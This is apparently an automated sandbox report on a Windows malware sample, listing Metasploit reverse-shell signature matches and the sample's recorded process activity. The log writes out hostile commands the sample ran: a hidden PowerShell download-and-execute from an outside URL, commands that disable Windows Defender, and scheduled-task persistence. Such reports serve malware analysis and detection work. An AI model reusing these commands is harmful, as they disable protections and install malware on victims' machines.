Source: 0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: 0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\reddit.exe, type: DROPPED	Matched rule: Windows_Trojan_Metasploit_4a1c4da8 reference_sample = 9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22, os = windows, severity = x86, description = Identifies Metasploit 64 bit reverse tcp shellcode., creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987, id = 4a1c4da8-837d-4ad1-a672-ddb8ba074936, last_modified = 2021-08-23

Source: reddit.exe.5.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@102/44@1/2

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\HiddenScripts

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1028:120:WilError_03

Source: C:\Users\user\Desktop\WO.exe

File created: C:\Users\user\AppData\Local\Temp\4782.tmp

Jump to behavior

Source: C:\Users\user\Desktop\WO.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe"

Source: C:\Users\user\Desktop\WO.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\WO.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: WO.exe

ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\WO.exe "C:\Users\user\Desktop\WO.exe"
Source: C:\Users\user\Desktop\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "RunRedditMinute" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc minute /mo 1 /rl highest /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Source: unknown	Process created: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Source: unknown	Process created: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Users\user\Desktop\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "RunRedditMinute" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc minute /mo 1 /rl highest /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net stop WinDefend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 stop WinDefend
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\reddit.exe "C:\Users\user\AppData\Local\Temp\reddit.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditMinute"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\WO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
